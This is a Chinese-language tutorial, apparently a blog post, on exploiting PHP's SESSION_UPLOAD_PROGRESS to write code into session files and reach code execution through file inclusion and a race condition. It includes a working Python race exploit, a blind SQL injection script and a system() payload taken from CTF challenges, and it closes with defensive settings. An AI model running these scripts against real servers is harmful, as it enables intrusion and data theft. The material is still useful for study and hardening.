浅谈 SESSION_UPLOAD_PROGRESS 的利用
字数 1647 2025-08-05 11:39:33
PHP SESSION_UPLOAD_PROGRESS 利用技术详解
一、PHP Session 基础知识
1. Session 存储机制
- PHP 默认将 session 以文件形式存储在服务器
- 常见默认存储路径:
/var/lib/php/sess_PHPSESSID/var/lib/php/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID
2. 关键 PHP 配置选项
session.auto_start:自动初始化 Session(默认关闭)session.upload_progress.cleanup:上传完成后清除 session 内容(默认开启)session.use_strict_mode:是否允许用户自定义 Session ID(默认0,允许)
二、SESSION_UPLOAD_PROGRESS 机制
1. 基本特性
- PHP ≥5.4 引入的功能
- 默认开启(
session.upload_progress.enabled=On) - 允许在上传过程中跟踪上传进度
2. 工作原理
当同时满足以下条件时,PHP 会在 $_SESSION 中添加上传进度数据:
- 文件上传处理中
- POST 一个与
session.upload_progress.name同名变量(默认PHP_SESSION_UPLOAD_PROGRESS)
3. Session 数据结构示例
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890,
"content_length" => 57343257,
"bytes_processed" => 453489,
"done" => false,
"files" => array(...)
);
三、利用技术详解
1. 基本利用方法
- 构造上传表单,包含
PHP_SESSION_UPLOAD_PROGRESS字段 - 在 HTTP 头中添加
Cookie: PHPSESSID=自定义ID - 服务器会自动创建 Session 文件
示例表单:
<form action="http://target.com/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="恶意代码" />
<input type="file" name="file" />
<input type="submit" />
</form>
2. 结合文件包含漏洞 Getshell
利用条件:
- 存在文件包含漏洞
- 知道 Session 文件存储路径
利用流程:
- 通过
PHP_SESSION_UPLOAD_PROGRESS写入恶意代码到 Session 文件 - 利用文件包含漏洞包含该 Session 文件
挑战:
session.upload_progress.cleanup=On会立即清除内容- 需要条件竞争(race condition)在清除前完成利用
3. Python 自动化利用脚本
import io
import requests
import threading
sessid = 'whoami'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://target.com/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();?>"},
files={"file": ('q.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
response = session.get(f'http://target.com/index.php?file=/tmp/sess_{sessid}')
if 'phpinfo()' in response.text:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session,))
t1.daemon = True
t1.start()
READ(session)
四、实战案例解析
案例1:[PwnThyBytes 2019]Baby_SQL
场景:
- 存在 SQL 注入但被
addslashes过滤 - 需要绕过 Session 验证直接访问登录页面
解决方案:
- 使用
PHP_SESSION_UPLOAD_PROGRESS初始化 Session - 直接访问登录页面进行盲注
盲注脚本示例:
import io
import requests
url = 'http://target.com/login.php'
f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}
for i in range(1, 50):
# 构造盲注payload
payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" % (i, mid)
data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
cookie = {"PHPSESSID": "whoami"}
params = {"username": payload, "password": "123456"}
requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
案例2:[WMCTF2020]Make PHP Great Again
场景:
- 文件包含但
flag.php已被require_once包含 - 需要绕过 PHP 的重复包含机制
解决方案:
- 利用
SESSION_UPLOAD_PROGRESS写入恶意 Session - 包含
/tmp/sess_whoami执行系统命令
EXP 关键部分:
data = {
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /proc/self/cwd/flag.php');?>"
}
response = session.get(f'http://target.com/?file=/tmp/sess_{sessid}')
五、防御措施
-
关闭不必要的功能:
session.upload_progress.enabled = Off
-
启用严格模式:
session.use_strict_mode = On
-
限制 Session 文件权限:
- 设置合适的
session.save_path权限
- 设置合适的
-
及时更新 PHP 版本
-
对文件包含功能进行严格过滤
六、总结
SESSION_UPLOAD_PROGRESS 提供了一种在特定条件下初始化 Session 并写入内容的途径,结合文件包含、条件竞争等技术可以实现多种攻击场景。防御关键在于合理配置 PHP 环境和严格过滤用户输入。